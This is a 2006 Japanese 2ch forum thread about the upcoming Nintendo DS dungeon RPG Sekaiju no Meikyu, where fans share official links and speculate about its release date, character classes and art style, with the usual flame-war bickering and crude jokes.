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【DS】世界樹の迷宮 B14F

1 :枯れた名無しの水平思考:2006/09/15(金) 17:05:41 ID:DEqoTTzP0
■公式サイト 
 http://sekaiju.atlus.co.jp/
(昼6〜24時、夜0〜6時 PCの時計で判定 毎週金曜更新)

■Wiki 
 http://www15.atwiki.jp/sekaiju_maze/


発売元 ・・・株式会社アトラス
ジャンル・・・3DダンジョンRPG
ハード  ・・・NintendoDS
価格   ・・・4,980円(予価)
発売日 ・・・2006年10月(予定)

次スレは>>950が立てる事。無理なら代わりの人を指名。
反応がない時は代理の人が宣言してから立ててください。


2 :枯れた名無しの水平思考:2006/09/15(金) 17:07:48 ID:DEqoTTzP0
○概要
「潜る」ことを目的とした3DダンジョンRPG。
タッチスクリーンで自分でマッピング。
キャラメイクは9種の職業からで、パーティーメンバーは5人。登録できるキャラは20人。
キャラ育成はポイント割り振り。

○紹介
初紹介記事
http://www.famitsu.com/game/coming/2006/06/28/104,1151502648,55736,0,0.html
インタビュー記事
http://www.famitsu.com/interview/article/2006/06/23/668,1151049392,55508,0,0.html
プレビュー記事
http://www.nintendo-inside.jp/preview/100/10075.html

○スタッフ
ディレクター:新納一哉
(超執刀カドゥケウスttp://www.atlus.co.jp/cs/game/ds/kad/column/column002.htmlなど)
キャラデザ:日向悠二ttp://ugf.nengu.jp/
ストーリー:小森成雄(プリンセスクラウン、ライドウなど)
モンスターデザイン:長澤真ttp://homepage.mac.com/jason_works/
音楽:古代祐三ttp://www.ancient.co.jp/

3 :枯れた名無しの水平思考:2006/09/15(金) 17:09:01 ID:DEqoTTzP0
○前スレ
【DS】世界樹の迷宮 B13F
http://game10.2ch.net/test/read.cgi/handygame/1157626649/

○過去スレ
B12F - http://game10.2ch.net/test/read.cgi/handygame/1156867535/
B11F - http://game10.2ch.net/test/read.cgi/handygame/1156142458/
B10F - http://game10.2ch.net/test/read.cgi/handygame/1155490940/
B9F - http://game10.2ch.net/test/read.cgi/handygame/1154415496/
B8F - http://game10.2ch.net/test/read.cgi/handygame/1153449857/
B7F - http://game10.2ch.net/test/read.cgi/handygame/1152922534/
B6F - http://game10.2ch.net/test/read.cgi/handygame/1152607531/
B5F - http://game10.2ch.net/test/read.cgi/handygame/1152374223/
B4F - http://game10.2ch.net/test/read.cgi/handygame/1152280207/
B3F - http://game10.2ch.net/test/read.cgi/handygame/1152023293/
B2F - http://game10.2ch.net/test/read.cgi/handygame/1151755419/
B1F - http://game10.2ch.net/test/read.cgi/handygame/1151497509/

○関連スレ
キャラデザ云々はこちらで↓
世界樹の迷宮のキャラデザが合ってない2
http://game10.2ch.net/test/read.cgi/handygame/1155607168/

4 :枯れた名無しの水平思考:2006/09/15(金) 17:11:12 ID:DEqoTTzP0
○ここまでの流れ
B13Fあらすじ
公式更新→夜ブシドー♂、夜カースメイカー♂、
新納氏肉声発表企画進行中、発表は9月末か10月頭予定
荒らしによるデマ・憶測(発売日遅延等)が飛び交う

B12Fあらすじ
海外版発売アナウンス
公式更新→昼パラディン♀
とあるパラディン♀の全身絵が酒場と違っていたがすぐ同じになる

B11Fあらすじ
全30層との記事(ニンドリ)
公式更新→夜メディック♂、面白企画進行中?
とあるパラディン♂の文面が変更され、すぐ元に戻る

※900あたりから当スレの内容まとめ(3行程度)を考えてください。

○スレの傾向
このスレは以下の人員によるwktkで構成されています
Wizプレイヤー、カドゥケウスプレイヤー、メガテンDS待ち、
日向悠二ファン、古代祐三ファン、
TRPG好き、ゲームブック好き、
マッピング好き、アトラス好き、
DSのRPG待ち望んでた人、難易度で歯ごたえ求めてた人

5 :枯れた名無しの水平思考:2006/09/15(金) 17:14:09 ID:DEqoTTzP0
ttp://sekaiju.atlus.co.jp/character/chara01_d.html //ソードマン♀
ttp://sekaiju.atlus.co.jp/character/chara02_d.html //パラディン♂
ttp://sekaiju.atlus.co.jp/character/chara03_d.html //メディック♀
ttp://sekaiju.atlus.co.jp/character/chara04_d.html //アルケミスト♀?
ttp://sekaiju.atlus.co.jp/character/chara01_n.html //ブシドー♂
ttp://sekaiju.atlus.co.jp/character/chara05_d.html //ブシドー♀
ttp://sekaiju.atlus.co.jp/character/chara06_d.html //バード♂
ttp://sekaiju.atlus.co.jp/character/chara07_d.html //バード♀?
ttp://sekaiju.atlus.co.jp/character/chara08_d.html //パラディン♀
ttp://sekaiju.atlus.co.jp/character/chara09_d.html //レンジャー♀?
ttp://sekaiju.atlus.co.jp/character/chara01_n.html //ブシドー♂
ttp://sekaiju.atlus.co.jp/character/chara02_n.html //ソードマン♂?
ttp://sekaiju.atlus.co.jp/character/chara03_n.html //カースメイカー♂
ttp://sekaiju.atlus.co.jp/character/chara04_n.html //カースメーカー♀
ttp://sekaiju.atlus.co.jp/character/chara05_n.html //メディック♂
ttp://sekaiju.atlus.co.jp/character/chara06_n.html //レンジャー♂
ttp://sekaiju.atlus.co.jp/character/chara07_n.html //ダークハンター♂?
ttp://sekaiju.atlus.co.jp/character/chara08_n.html //アルケミスト♂
ttp://sekaiju.atlus.co.jp/character/chara09_n.html //ダークハンター♀

6 :枯れた名無しの水平思考:2006/09/15(金) 17:14:31 ID:8K0lnWKS0
世界樹の迷宮の雑誌記事
ttp://www.jeux-france.com/images2_4_16477.html
ttp://www.jeux-france.com/images1_4_16477.html
ttp://www.jeux-france.com/images0_4_16477.html

7 :枯れた名無しの水平思考:2006/09/15(金) 17:16:23 ID:eHaNa2/U0
>>1


8 :枯れた名無しの水平思考:2006/09/15(金) 17:16:36 ID:brx+tSOu0
乙!

9 :枯れた名無しの水平思考:2006/09/15(金) 17:17:22 ID:DEqoTTzP0
>>6
そんなのあったのか。サンクス

10 :枯れた名無しの水平思考:2006/09/15(金) 17:18:17 ID:AWN0EcVK0
>>1
宇田呪う

11 :枯れた名無しの水平思考:2006/09/15(金) 17:22:01 ID:IrbsZBlj0
>>1
乙ゥ

12 :枯れた名無しの水平思考:2006/09/15(金) 17:26:23 ID:8cmA5PyK0
>>1
お疲れ様

宇田さんこれはあまりにも殺生な仕打ちでないかい

13 :枯れた名無しの水平思考:2006/09/15(金) 17:29:45 ID:K3u4sO0p0
何があったんだ?

14 :枯れた名無しの水平思考:2006/09/15(金) 17:31:50 ID:K3u4sO0p0
ああそういうことか
しかしキャラだのメッセージだのでいつまで引っ張るつもりなんだ
正直どうでもいい要素ばかりだよ
システムやSS公開してくれよ九月も終わるぞ

15 :枯れた名無しの水平思考:2006/09/15(金) 17:46:17 ID:FLUaLlbG0
>>1

カースメイカー♂の話に
>呪言や鈴を用い、人体に偽りの情報を与えるわけだ。
とあるという事は催眠術系なのかな

16 :枯れた名無しの水平思考:2006/09/15(金) 17:49:02 ID:eHaNa2/U0
第二のエクスタシーとみた
ttp://www.nintendo-inside.jp/media/screenshot2.php?gameid=12359&image=21

17 :枯れた名無しの水平思考:2006/09/15(金) 17:52:01 ID:8K0lnWKS0
戦闘補助系っぽいね。
回避率とか命中率とかさげたり。

18 :枯れた名無しの水平思考:2006/09/15(金) 18:03:44 ID:/s4kpbdW0
さて、補助系のキャラがどの程度活躍できるバランスになってるのかな

19 :枯れた名無しの水平思考:2006/09/15(金) 18:11:44 ID:DYenacT50
やっぱりボス級には補助魔法効きませんか

20 :枯れた名無しの水平思考:2006/09/15(金) 18:39:46 ID:fDusxEwq0
ラスボスはゴムの木

21 :枯れた名無しの水平思考:2006/09/15(金) 19:03:20 ID:IrbsZBlj0
ボス級にもちゃんと効くとどこかで言ってたような

22 :枯れた名無しの水平思考:2006/09/15(金) 19:05:44 ID:jenSGQ5h0
ただしfoeには無効…とか

23 :枯れた名無しの水平思考:2006/09/15(金) 19:06:34 ID:/s4kpbdW0
>>21
なおかつバランスが取れてるなら俺的神ゲー。

24 :枯れた名無しの水平思考:2006/09/15(金) 19:10:26 ID:ZQ3kPFoX0
ノクタンはカジャ系、ンダ系がちょっと強すぎた感があった。
強くないと低レベルクリアとかする人は困るんだろうけど。

25 :枯れた名無しの水平思考:2006/09/15(金) 19:19:42 ID:8LHWZTHW0
つかランダマイザが…
P3のマハカジャ&ンダ位が丁度いいかな

26 :枯れた名無しの水平思考:2006/09/15(金) 19:23:36 ID:BboHmBvQ0
>>16
顔が表示されるの最悪

27 :枯れた名無しの水平思考:2006/09/15(金) 19:28:28 ID:AJvZhrrV0
冬コミに世界樹の本を出そうと思ってたけど、延期なのかな?オワタ(^o^)

28 :枯れた名無しの水平思考:2006/09/15(金) 19:45:33 ID:xPcZuHjy0
>>1


10月発売は100%無さそうだな。

29 :枯れた名無しの水平思考:2006/09/15(金) 19:52:04 ID:UQ7BXZJd0
>>26
最悪とまでは言わないけど、シルエット切り替えが欲しいなあ。

30 :枯れた名無しの水平思考:2006/09/15(金) 19:53:32 ID:/s4kpbdW0
あのキャラの顔に有ったキャラクターを作るんだ

31 :枯れた名無しの水平思考:2006/09/15(金) 20:02:03 ID:gBlLffj40
あの絵も含めて世界樹の迷宮なんだよ。
今更、絵がどうとかガタガタ騒ぐな。いやならやらなきゃいい。
あんたの為だけに作られてるわけじゃねーんだからさ。

ウィズそのものがやりてえんなら、スターフィッシュでも応援してろ。

32 :枯れた名無しの水平思考:2006/09/15(金) 20:03:59 ID:UQ7BXZJd0
イラストが悪いんじゃなくて、PCだけは脳内絵がいいなあってだけだよ。
他のSSのイベントキャラは別に好き。

33 :枯れた名無しの水平思考:2006/09/15(金) 20:04:58 ID:vyojgi170
ぶっちゃけ極端に変な顔じゃなけりゃどうでもいい。
職業アイコン選べればなおよし。

*でメインキャラだと思ってた人間サムライが
チョンマゲグラサンだったときの喪失感よりはマシ。

34 :枯れた名無しの水平思考:2006/09/15(金) 20:08:01 ID:FR5eYnU00
やっと更新を確認できた。
……何つーかさ、ペルソナ3の頃から思ってたけど
ぶっちゃけ宇田って広報としては無の(ry
情報の出し方をまるで心得てないっつーか、
誰もお前の半端テンショントークなんぞ聞きたくないんだよっつーか。

35 :枯れた名無しの水平思考:2006/09/15(金) 20:08:06 ID:gBlLffj40
脳内脳内、言うんなら脳内で消去すりゃいいだろ。

ライト層取りこむためにあの絵にしたんじゃねえの?
いい歳こいて自分のことだけ考えるのヤメロ。

36 :枯れた名無しの水平思考:2006/09/15(金) 20:12:00 ID:gBlLffj40
実際、ダンマスのティギーなんかは今見ると不細工そのものだが、
脳内で美少女に変換できてただろ?

絵など記号にすぎん。

37 :枯れた名無しの水平思考:2006/09/15(金) 20:13:39 ID:jpEtyrL40
みんな落ち着いて>>3を読み返すんだ。


38 :枯れた名無しの水平思考:2006/09/15(金) 20:14:17 ID:IIbs3fpc0
情報が公開されないとクソゲィになるのか
いそがしいなおまえらは

39 :枯れた名無しの水平思考:2006/09/15(金) 20:16:36 ID:Q6qijvzv0
キャラデザに文句はないが、
ステータス画面にまで出る絵(各職業男女一種類ずつ)を用意するなら、
中途半端なコトせず、いっそ名前もプロフィールもついたキャラクターを用意すりゃいいのにと思うな。


40 :枯れた名無しの水平思考:2006/09/15(金) 20:16:52 ID:AWN0EcVK0
PCに絵は無いほうがいいには同意

41 :枯れた名無しの水平思考:2006/09/15(金) 20:17:19 ID:t5mPc0S80
>>35
750 名前:枯れた名無しの水平思考[sage] 投稿日:2006/09/14(木) 10:27:31 ID:hC13TMKg0
オタク向けだからコレで良いんだよ。オタク以外買わないから。

コレって絵のことね。
ライト層取り込むためにあの絵…?w

42 :枯れた名無しの水平思考:2006/09/15(金) 20:17:50 ID:t5mPc0S80
>>39
それに激しく同意したい。そっちの方がいいと心底思う。

43 :枯れた名無しの水平思考:2006/09/15(金) 20:18:31 ID:FR5eYnU00
>>36
ティギー、ウー=ツェ、シーラについては
栗橋絵の影響が大きいんじゃあるまいか。

ところで、このスレにはBlaze&Bladeやった人は少ないのかしら。
あれも、割とアニメ寄りの絵で職業ごとに絵は固定だったけど
そこまで不評だった覚えはないんだがなぁ。

44 :枯れた名無しの水平思考:2006/09/15(金) 20:20:17 ID:t5mPc0S80
なんか意味不明なことしないで、
キャッチーなキャラクター用意してるほうがずっとライト向け、ライト狙いじゃね?


45 :枯れた名無しの水平思考:2006/09/15(金) 20:21:00 ID:xPcZuHjy0
今日日Wizでさえ顔付いてるのに。
文句あるなら買わなきゃいいだろうに。

46 :枯れた名無しの水平思考:2006/09/15(金) 20:21:31 ID:t5mPc0S80
話題が無いのはわかるが、そろそろこっちに移動しないか。
いや、自分から振っておいてごめん、

世界樹の迷宮のキャラデザが合ってない2
http://game10.2ch.net/test/read.cgi/handygame/1155607168/

47 :枯れた名無しの水平思考:2006/09/15(金) 20:25:30 ID:sreMpG7/0
>>43
このスレでその名前を見るとは
あれはイラスト固定で勝手に喋るけど色も口調も選べたしな…
気にしなかった。元々キャラに勝手に動かれても気にしないし

ただ世界樹についてはサイト見なけりゃ同じようなものだと思う
ゲーム中に勝手に喋り出したりしない限り

48 :枯れた名無しの水平思考:2006/09/15(金) 20:27:29 ID:WOZGrqlxO
女の人とか子供が好みそうな絵柄だよね、これ。

49 :枯れた名無しの水平思考:2006/09/15(金) 20:29:33 ID:WOZGrqlxO
>>46
ごめん、移動する

50 :枯れた名無しの水平思考:2006/09/15(金) 20:30:50 ID:6SNjIpUD0
グラフィックが用意されてて、最初からある程度イメージのある方がキャラの名前つけやすいよ。
WIZだとまっさらな状態から考えなきゃならないのでなかなか名前思いつかない。

51 :枯れた名無しの水平思考:2006/09/15(金) 20:40:09 ID:pHcvtmsn0
>>34
別に広報は宇田だけじゃないだろ、公開内容の決定やホームページ製作の担当との折り合いもあるし
昔からアトラスはホームページ上では情報はなるべく小出しにする傾向があるからいまさらそんなこと言ってもしょうがない

52 :枯れた名無しの水平思考:2006/09/15(金) 20:44:03 ID:pixmsSO60
3Dものってだけで、おっさんゲーマーが、

“自分の為に製作されてる” と勘違いしている様が見苦しいことこの上ない。

ゲーム業界は常に動いてるんだ。もっと幅広い目を持とうよ。

53 :枯れた名無しの水平思考:2006/09/15(金) 20:46:40 ID:jGq4HYP8O
絵があることにも絵の雰囲気にも不満はないが、
若者ばかりで中高年オーラがないことに不満たらたらな俺が来ましたよ。
ソーサリアンみたいに、年齢に応じたグラフィックがあればいいのになぁ。

54 :枯れた名無しの水平思考:2006/09/15(金) 20:54:52 ID:safew/AT0
んー、同じ職業性別のキャラパーティにいれたら同じ顔の奴がいる事態になるのか…
それはちょっとなー嫌でしょ

55 :枯れた名無しの水平思考:2006/09/15(金) 20:55:42 ID:8K0lnWKS0
>>52
勝手にカテゴリにはめて悦に入るなよ。
いろいろな人いるんだからもっと幅広い目を持とうよ。

56 :枯れた名無しの水平思考:2006/09/15(金) 20:56:53 ID:on095FU50
早く出ないとwiiとかぶっちゃうよ〜

57 :枯れた名無しの水平思考:2006/09/15(金) 21:02:45 ID:pixmsSO60
>>55
あ、怒っちゃった?

58 :枯れた名無しの水平思考:2006/09/15(金) 21:04:13 ID:pHcvtmsn0
>>55
ついでに言うとネットで発言しているやつの年齢が分かるはずがなくて
おっさんか大学生か厨房か分からんのに勝手におっさんと決め付けてるのもアレだな

59 :枯れた名無しの水平思考:2006/09/15(金) 21:06:39 ID:ZQ3kPFoX0
スレが荒れてるのも宇多のせい
宇田呪う

60 :枯れた名無しの水平思考:2006/09/15(金) 21:07:12 ID:pixmsSO60
スルーできない時点で、心中穏やかでない君の姿が目に浮かぶよ。ククク…

61 :枯れた名無しの水平思考:2006/09/15(金) 21:09:48 ID:jpEtyrL40
>>60
>>60


62 :枯れた名無しの水平思考:2006/09/15(金) 21:11:18 ID:pHcvtmsn0
>>59
そんなことしたら更新がさらに遅くなります

63 :枯れた名無しの水平思考:2006/09/15(金) 21:19:59 ID:FLUaLlbG0
いつのまにやらここにもカースメイカーが住み着いたか・・・なんつって

64 :枯れた名無しの水平思考:2006/09/15(金) 21:20:33 ID:N9yVDSwhO
それはまさか”のろい”とかいう…
…いやなんでもない

65 :枯れた名無しの水平思考:2006/09/15(金) 21:23:09 ID:sreMpG7/0
寒いのを携帯から乙

66 :枯れた名無しの水平思考:2006/09/15(金) 21:27:01 ID:t5mPc0S80
ぶっちゃけ情報もないし暇やねん。

そういうことだろ?

67 :枯れた名無しの水平思考:2006/09/15(金) 21:31:48 ID:3AGdD7Ve0
カースメーカー♂はいかにもな鬱屈した感じかと思ったら
意外と気さくで驚いた

68 :枯れた名無しの水平思考:2006/09/15(金) 21:32:34 ID:WAl/LZGfO
MG飽きたから世界樹の続報でwktkしたい

69 :枯れた名無しの水平思考:2006/09/15(金) 21:41:23 ID:ZQ3kPFoX0
デブオタのカースメーカー♂を想像しながらあのセリフを読むと
なんかむかついてくるw
とくに
「目に見えるものだけに頼っていては
あの「世界樹の迷宮」を踏破することなど不可能だよ。」のくだり。


70 :枯れた名無しの水平思考:2006/09/15(金) 21:48:25 ID:ADCXUZPF0
ファミ通買ってきたけど、何か質問ある?

71 :枯れた名無しの水平思考:2006/09/15(金) 21:49:37 ID:5OdXmy2u0
発売日キボン

72 :枯れた名無しの水平思考:2006/09/15(金) 21:51:27 ID:xPcZuHjy0
>>70
全員分のキャラグラは発表されましたか?

73 :枯れた名無しの水平思考:2006/09/15(金) 21:53:58 ID:rosGwdmN0
発売日延期しろよ
もう10月に他の予定入れるから

74 :枯れた名無しの水平思考:2006/09/15(金) 21:54:49 ID:g2zWVJrD0
>>43>>47
定期的にブレブレの名前出るなw
このスレ見てる人には結構プレイヤーいるはず

75 :枯れた名無しの水平思考:2006/09/15(金) 21:55:29 ID:4lu6nrVx0
>>73
ほぼ延期したようなものだろ

76 :枯れた名無しの水平思考:2006/09/15(金) 21:58:20 ID:xPcZuHjy0
最低2ヶ月前には発売日発表しないと駄目だから早くても11月末。

77 :枯れた名無しの水平思考:2006/09/15(金) 21:58:52 ID:NjYJ2iiN0
なんか今回のカースメイカー♂の自己紹介は、
なつかしの富士見書房『キャラクター・コレクション』の一項のようだった。

78 :枯れた名無しの水平思考:2006/09/15(金) 22:03:19 ID:ADCXUZPF0
ファミ通の発売スケジュールで2006年秋になってるのは、
「世界樹の迷宮」と「DS地上波デジタル放送受信カード(仮題)」だけだな。
両方あわせて延期か。

79 :枯れた名無しの水平思考:2006/09/15(金) 22:08:52 ID:deb8arbU0
地デジはトイレとか風呂とかで見たいのでどうか延期しないで下さい
いや、世界樹は延びても良いって言ってる訳じゃないが

80 :枯れた名無しの水平思考:2006/09/15(金) 22:34:16 ID:EFAaZiJ70
>>74
ブレブレの啄木鳥しんきは今でも好きだな。
俺のキャラはウィザード・男・クールだったな。

81 :枯れた名無しの水平思考:2006/09/15(金) 22:38:13 ID:ORX7o1F0O
キャラ絵がキモい。
特に公式のキャラのページ、あんなのがずらっと並んでるのが堪え難く気持ち悪い。
おまいら、なんでこんなゲーム楽しみなの?
理解できない、変態?

マジレスで頼む。
こっちで荒れるんだったら、レスだけ隔離スレで頼む。
もうどうしようもなく(シルエットが多かった時はまだ平気だったけど)気持ち悪い。

82 :枯れた名無しの水平思考:2006/09/15(金) 22:40:30 ID:5OdXmy2u0
アニオタ向けWizだしな
気に入らなければ買わなければいい

83 :枯れた名無しの水平思考:2006/09/15(金) 22:41:13 ID:ORX7o1F0O
ついでに言わせてくれ。

しかもさ、出て来る情報キャラのことばっか?
なに、キャラゲーなの?
公式も『イメージ』じゃなくて、『キャラ』てコンテンツ表示されてるし、
もう固有のキャラでよくね?
なんでこれでキャラメイクなのよ、なにがメイクよ、馬鹿じゃね?

84 :枯れた名無しの水平思考:2006/09/15(金) 22:43:40 ID:ORX7o1F0O
>82
了解、納得、なるほど、わかりやすいゲームデザイン(゚∀゚)

ありがとう。

85 :枯れた名無しの水平思考:2006/09/15(金) 22:44:54 ID:j72a3xdo0
>>81
たのむからキャラデザスレでやってくれ。

86 :枯れた名無しの水平思考:2006/09/15(金) 22:47:33 ID:VEMZQD6k0
気持ち悪いって病気なんじゃないの?
薬飲んで寝たら?

87 :枯れた名無しの水平思考:2006/09/15(金) 22:48:02 ID:ikzd1ZTf0
不満がある人と荒らしたいだけの人が半々だから対処に困るな

88 :枯れた名無しの水平思考:2006/09/15(金) 22:48:18 ID:dN1OlWUx0
君は結論出てるんだから買わないんだろ? それで善いんじゃないの?
ここの人全員、自分と同じ考えにしなきゃ気が済まないの?

89 :枯れた名無しの水平思考:2006/09/15(金) 22:48:27 ID:Dh+XJgCw0
もう広報が無能だからしょうがないって事でよくね?

まあ延期は開発の問題だろうがな

90 :枯れた名無しの水平思考:2006/09/15(金) 22:48:58 ID:g2zWVJrD0
スルー汁

91 :枯れた名無しの水平思考:2006/09/15(金) 22:51:07 ID:dN1OlWUx0
イース3の時みたいだ。
あの時は絵師も2chに書きこんでて興味深かったな。

92 :枯れた名無しの水平思考:2006/09/15(金) 23:10:01 ID:jGq4HYP8O
>>77
個人の事情じゃなくて、クラスの特性をしっかり語ってくれてるからな。
個人的には、五竜亭で新入りに講釈を垂れるベテラン勢を思い出して
ほんのりと懐かしい気持ちになった。

93 :枯れた名無しの水平思考:2006/09/15(金) 23:11:53 ID:Y0LVTn450
使わぬ呪言こそ真の呪言である。

94 :枯れた名無しの水平思考:2006/09/15(金) 23:15:29 ID:u8FgVEq0O
じゃあラーメンでも食いに行こうぜ

95 :枯れた名無しの水平思考:2006/09/15(金) 23:25:27 ID:sreMpG7/0
>>94
チキンラーメンどんぶり奢ってくれ

96 :枯れた名無しの水平思考:2006/09/15(金) 23:28:19 ID:VEMZQD6k0
はぁ〜ん!ブシドー♀タンのさらしをひっぱってあ〜れ〜ってやりたいよぉ〜
       くるくるまわってるブシドー♀タンを抱きしめてあげたいよぉ〜

97 :枯れた名無しの水平思考:2006/09/15(金) 23:30:37 ID:jGq4HYP8O
>>93
アトラティアヌス乙。
つーか、まさか判る奴がいるとは思わんかったw
なんか嬉しいから、カールス、フンバルト、ダイス、ガルフネット、マリアの
五竜亭パーティーを作ってみることにするぜ。

98 :枯れた名無しの水平思考:2006/09/15(金) 23:35:49 ID:5OdXmy2u0
ブシドー♀の名前はモトコ

99 :枯れた名無しの水平思考:2006/09/15(金) 23:37:25 ID:j72a3xdo0
サイトォォ!そいつを寄越せェッ!

100 :枯れた名無しの水平思考:2006/09/15(金) 23:47:42 ID:sAqx9AAH0
メスゴリラはお帰り下さい

101 :枯れた名無しの水平思考:2006/09/15(金) 23:48:50 ID:AJvZhrrV0
アドレナるわ

102 :枯れた名無しの水平思考:2006/09/16(土) 00:02:55 ID:0yVtoRzX0
問屋の受注予約とかのこぼれ話も出てこないからやっぱり発売日は11月12月だろうか・・・

103 :枯れた名無しの水平思考:2006/09/16(土) 00:17:46 ID:lnAH/k+Y0
>>97
五竜亭はキャラの雰囲気も近いし、いけるかもね

104 :枯れた名無しの水平思考:2006/09/16(土) 00:24:41 ID:ow0rLN+/0
今の古代で抜いてみろと言われればそれは無理な話しだ

105 :枯れた名無しの水平思考:2006/09/16(土) 00:24:44 ID:sOJQBL+fO
他のゲームに準える場合、魔法使いタイプのキャラをカースメイカーにするか
それともアルケミストにするべきか
格闘家タイプのキャラはどうすべきか……
結構難しいな

106 :枯れた名無しの水平思考:2006/09/16(土) 00:27:42 ID:GDnfPK0c0
>>97
職業にレンジャーとバードがあるので
メロスとヒースクリフも入れてあげてください。

赤熊やソマーも…と思ったけど種族は人間しかないみたいだから無理か。

107 :枯れた名無しの水平思考:2006/09/16(土) 00:28:06 ID:IT1Cc6xo0
何かマジでカースメイカーだと思ってる香具師がいそうだな。

108 :枯れた名無しの水平思考:2006/09/16(土) 00:32:50 ID:+c/zyXHO0
ではカースメーカー♀の名前はアンジュ(暗呪)で

109 :枯れた名無しの水平思考:2006/09/16(土) 00:33:42 ID:8YfSsZYi0
>>105
格闘家タイプはブシドーがそれっぽいスキルを持っていそうだから
それで妥協するとかしかないかも。
ソードマン、ブシドー、レンジャーは決まったものの後り二人どうするかが悩む。

110 :枯れた名無しの水平思考:2006/09/16(土) 00:52:00 ID:X7w5F77j0
>>104
微妙にスレ違いですよw

111 :枯れた名無しの水平思考:2006/09/16(土) 01:06:35 ID:igIOoJtDO
フンバルトをパラディンにすべきか悩むw
ダイスも困るなぁ。レンジャーだとメロスと被るし。
ラックはヒースと被るがバードかなぁ。

112 :枯れた名無しの水平思考:2006/09/16(土) 01:10:40 ID:1wjMgClO0
フンバルトはパラディンって感じがするなぁ
つか読みたくなってきたから本棚あさってこよう。

113 :枯れた名無しの水平思考:2006/09/16(土) 01:17:08 ID:asi8Z+Sk0
名称:スターホーン
種別:剣
制限:パラディンのみ
特殊:持つと人格が変わる

114 :枯れた名無しの水平思考:2006/09/16(土) 01:25:15 ID:5+NlqsVU0
このネタわかるやついないだろ
常識的に考えて

115 :枯れた名無しの水平思考:2006/09/16(土) 01:25:32 ID:lnAH/k+Y0
ダイスはダークハンター♂とか
ダークハンター♀を見る限りちょい悪っぽいし

116 :枯れた名無しの水平思考:2006/09/16(土) 01:27:13 ID:TPUl655f0
懐かしいなごりゅうてい
手元に残しておけばよかった

117 :枯れた名無しの水平思考:2006/09/16(土) 01:28:49 ID:igIOoJtDO
パーティにレディがいれば鉄壁パラディンなんだろうけど、男ばかりだと突撃して死にそうでw

不意に、昔なりきりスレで野次馬Cやってたのを思い出して懐かしくなったw

118 :枯れた名無しの水平思考:2006/09/16(土) 01:35:03 ID:Zn+wJgBO0
五竜亭を本棚から探そうとして、
ふと日課の一人ピクトチャットをやリ始めてしまった俺に一言。

119 :枯れた名無しの水平思考:2006/09/16(土) 01:41:08 ID:CVoe/n3c0
>>118
男たるもの初志貫徹せんかぁ〜!
そこになおれ、愛剣スターホーンの錆にしてくれるわっ!

120 :枯れた名無しの水平思考:2006/09/16(土) 01:42:10 ID:bsmTVZUN0
はいはい加齢臭加齢臭

121 :枯れた名無しの水平思考:2006/09/16(土) 01:48:31 ID:laGnx/OC0
さすがにひくわ

オヤジはしゃぎ過ぎ

122 :枯れた名無しの水平思考:2006/09/16(土) 01:49:37 ID:8KfdyYHu0
このスレ、オタの巣。

123 :枯れた名無しの水平思考:2006/09/16(土) 01:54:40 ID:lnAH/k+Y0
久しぶりのお楽しみタイムなんだそっとしておいておくれ
分かんなきゃwikipediaでも見て来なさい
ちゃんと載ってるから

ってか恐るべし五竜亭 キャッチーなキャラの勝利か

124 :枯れた名無しの水平思考:2006/09/16(土) 02:05:00 ID:laGnx/OC0
知ってるけどマニアック杉。
おとなしく卓上ゲーム板にでも還れ!

125 :枯れた名無しの水平思考:2006/09/16(土) 02:11:42 ID:CVoe/n3c0
ごめんねおっさんはしゃいじゃったからごめんね。
つーか知っとる時点で十分凄いぞ。もう十年以上前だからなぁ・・・。

126 :枯れた名無しの水平思考:2006/09/16(土) 02:20:28 ID:cEys7y3Q0
別にヲタと差別されようがかんけいないね

127 :枯れた名無しの水平思考:2006/09/16(土) 02:22:44 ID:1wjMgClO0
まあ、オタだからなんだって感じだしなぁ。
そもそもこのスレにいる時点で・・・

128 :枯れた名無しの水平思考:2006/09/16(土) 02:24:18 ID:9rOnR6Gk0
てか、煽りってのは気を付けてやらないと
本人のコンプレックスをぶちまけるだけにしかならん

129 :枯れた名無しの水平思考:2006/09/16(土) 02:28:11 ID:ft385Lm70
痛々しいからやめw

130 :枯れた名無しの水平思考:2006/09/16(土) 02:28:54 ID:cEys7y3Q0
クソヲタだと自覚してるヤツにクソオタと煽っても
じゃあこんな所にいるお前は何なのって話になるだけだな・・・
自覚のないヲタの同属嫌悪かイケメン(笑)が煽って遊んでるのか知らんが
早くカースメーカー♀たんとチュッチュしたい

131 :枯れた名無しの水平思考:2006/09/16(土) 02:32:47 ID:S0gV4Y380
流れも読まずに書き込むけど、このゲームほかのRPGで該当する
魔法使い系がいませんね。ほとんど補助魔法ばっかりのような。

ダークハンターが激しくいらない子に思えるんですが、
モンスターを捕まえるクエストとかあるならやっぱ必要なんかな。
というかクエストすべてクリアするためには一応全職いるんですかね。

132 :枯れた名無しの水平思考:2006/09/16(土) 02:36:13 ID:Zn+wJgBO0
>>131
一応、アルケミストが攻撃面担当っぽい


133 :枯れた名無しの水平思考:2006/09/16(土) 02:40:52 ID:1wjMgClO0
>>131
一部の職だけでもクリアできるようにするらしいよ。
ダークハンターは特殊攻撃が強いキャラみたい。
>>2にあるインタビュー記事とかに詳しく載ってるから興味あったら読んでみてくれ。

134 :枯れた名無しの水平思考:2006/09/16(土) 02:44:06 ID:IpXaOe9S0
>>125
気にするな。「10月に出ない」とか煽ってるのと一緒で荒らしだ
俺はついていけない事もあるが、おっさんが盛り上がってるのを見るのは好きだ。
このスレに1からいるが同意見のレスを何度見たことか

どうせ新情報なきゃ妄想か昔話なんだから嫌ならスルーするか見なきゃいいんだよ
それをしないのは荒らし以外の何者でもない

135 :枯れた名無しの水平思考:2006/09/16(土) 03:06:57 ID:PdoSxx4a0
スターホーンって何?

136 :枯れた名無しの水平思考:2006/09/16(土) 03:11:37 ID:KVqa2hlA0
スターホーン→星本→★本
つまり、乳首に星マークがついてある女性が多数載っている本のことだったんだよ!


ごめん俺も知らない

137 :枯れた名無しの水平思考:2006/09/16(土) 03:21:29 ID:P5fAQVRH0
自キャラ顔表示のON・OFFつけて欲しいね。
顔が受け付けない人とかいるだろし。妄想プレイの邪魔にもなる。

138 :枯れた名無しの水平思考:2006/09/16(土) 03:24:39 ID:9rOnR6Gk0
大して進んでないスレなんだから、これまでの流れを読んでも良いと思うよ?

139 :枯れた名無しの水平思考:2006/09/16(土) 03:30:00 ID:d4JbsaNf0
笑えるほどにロリコンが好きそうなキャラゲーだなw
オナニーの材料の同人誌とか作ったりしてキモオタ丸出しの展開になるんだろうな。
タッチペンでエロキャラを脱がすとか頭のイかれたストーリーを必死に構築しちゃったりしてさ。
ゲーム内容は口先だけ「ゲームとしても期待してる」と言ってるだけで、実際はキャラ目当てのオタクだけが群がる糞ゲー。
